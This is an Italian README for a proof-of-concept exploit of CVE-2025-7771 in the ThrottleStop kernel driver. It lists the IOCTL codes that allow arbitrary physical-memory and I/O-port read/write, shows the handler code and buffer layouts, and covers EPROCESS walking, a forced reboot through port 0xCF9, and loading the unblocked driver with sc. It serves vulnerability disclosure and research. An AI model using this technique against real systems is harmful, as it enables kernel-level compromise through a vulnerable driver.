
CVE-2025-7771: Lettura/scrittura arbitraria della memoria fisica e delle porte I/O tramite il driver ThrottleStop
CVE-2025-7771: Lettura/scrittura arbitraria di memoria fisica e porte I/O tramite il driver ThrottleStop
ThrottleStop è una piccola applicazione legittima usata per monitorare e correggere il throttling della CPU. Dispone di un driver che facilita queste operazioni e che per lo più non svolge alcun tipo di validazione degli input.
| IOCTL | Vulnerabilità |
|---|---|
| 0x80006498 | Lettura arbitraria della memoria |
| 0x8000649C | Scrittura arbitraria della memoria |
| 0x80006430 | Lettura arbitraria delle porte |
| 0x80006434 | Scrittura arbitraria delle porte |
Sembrano esserci anche lettura e scrittura arbitrarie degli MSR, ma non sono riuscito a farle funzionare.
Sentiti libero di controllare tu stesso.
La lettura MSR è a 0x80006448 e la scrittura a 0x8000644C.
Se sei riuscito a farle funzionare, apri una issue descrivendo la procedura.
Tutte le chiamate IOCTL menzionate di seguito sono implementate nel file Exploit.c.
L'IOCTL 0x80006498 mappa qualsiasi indirizzo fisico fornito nello spazio kernel usando MmMapIoSpace e legge 1, 2, 4 o 8 byte da esso. I dati vengono poi copiati nello spazio utente.
Per attivare questo IOCTL, chiama DeviceIoControl con l'indirizzo fisico come input e la dimensione del buffer di output come dimensione di lettura (1, 2, 4 o 8).
Codice semplificato per questo IOCTL nel driver:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Simile alla lettura, l'IOCTL 0x8000649C mappa l'indirizzo fisico fornito nello spazio kernel usando MmMapIoSpace e legge 1, 2, 4 o 8 byte da esso.
Per attivare questo IOCTL, chiama DeviceIoControl con il seguente layout del buffer di input:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
La dimensione del buffer di input sarà 8 + (1, 2, 4 o 8) a seconda della dimensione di scrittura.
Il buffer di output e la sua dimensione non vengono usati.
Codice semplificato per questo IOCTL nel driver:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
L'IOCTL 0x80006430 consente a un utente di specificare una porta I/O e leggere direttamente da essa usando __inbyte, __inword o __indword.
Il buffer di input è un USHORT e la dimensione del buffer di input deve essere sizeof(USHORT).
Il buffer di output conterrà il risultato (1, 2 o 4 byte a seconda della dimensione richiesta) e la dimensione di output può essere 1, 2 o 4.
Codice semplificato per questo IOCTL nel driver:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Simile alla lettura delle porte, l'IOCTL 0x80006434 consente a un utente di specificare una porta I/O e scrivere valori arbitrari su di essa con __outbyte, __outword o __outdword.
Il layout del buffer di input è:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
La dimensione del buffer di input deve essere sizeof(USHORT) + sizeof(Value) (+ padding). Il buffer di output e la sua dimensione non vengono usati.
Codice semplificato per questo IOCTL nel driver:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Questa traduzione è possibile abusando di Superfetch, un modulo kernel legittimo che espone la traduzione da indirizzo virtuale a fisico usando API non documentate. Il codice per questo è implementato in vtop.c
Questo progetto può essere compilato usando Meson. Legge il campo UniqueProcessId risolvendo la struttura EPROCESS del processo di Sistema usando PsInitialSystemProcess e verifica che sia 4 (implementato in Main.c e le funzioni per trovare l'EPROCESS di uno specifico PID sono implementate in EProcess.c). Inoltre, chiede all'utente se vuole forzare il riavvio del sistema. Questo è possibile scrivendo il valore 0x0E sulla porta 0xCF9.
Avvertenza: Tutto è stato testato su Windows 11 build 24H2. Gli offset nella struttura EPROCESS potrebbero essere diversi sul tuo sistema.
Compila il progetto con
meson setup build
Creerà la directory build. Ora compila il progetto con
meson compile -C build
Il driver è disponibile nella directory Drivers del repository. I driver di ThrottleStop possono essere estratti direttamente dal programma ThrottleStop.exe tramite Resource Hacker. Troverai 2 driver: x64 e x86. DriverObject->MajorFunction[14] contiene la funzione dispatch in cui sono stati implementati tutti gli IOCTL.
Crea e avvia il driver usando:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Questo driver non è ancora stato aggiunto alla block list dei driver Microsoft né a loldrivers.